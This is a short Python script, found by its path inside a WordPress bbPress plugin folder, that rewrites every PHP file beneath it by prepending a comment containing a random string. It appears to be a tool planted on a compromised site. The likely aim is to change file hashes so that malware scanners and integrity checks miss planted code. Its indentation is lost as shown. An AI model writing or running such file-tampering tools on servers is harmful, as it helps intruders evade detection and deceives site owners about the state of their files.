File: /www/wwwroot/www.sceybwg.com/wp-content/plugins/bbpress/buat.py
import os
import random
import string
# Folder sama dengan lokasi script
target_folder = os.path.dirname(os.path.abspath(__file__))
def random_text(length=15):
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for _ in range(length))
for root, dirs, files in os.walk(target_folder):
for filename in files:
if filename.endswith(".php"):
file_path = os.path.join(root, filename)
try:
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
original_content = f.read()
# Tambahkan random comment di awal file
random_prefix = f"<?php /* {random_text(15)} */ ?>\n"
modified_content = random_prefix + original_content
with open(file_path, "w", encoding="utf-8") as f:
f.write(modified_content)
print(f"[OK] {file_path}")
except Exception as e:
print(f"[ERROR] {file_path}: {e}")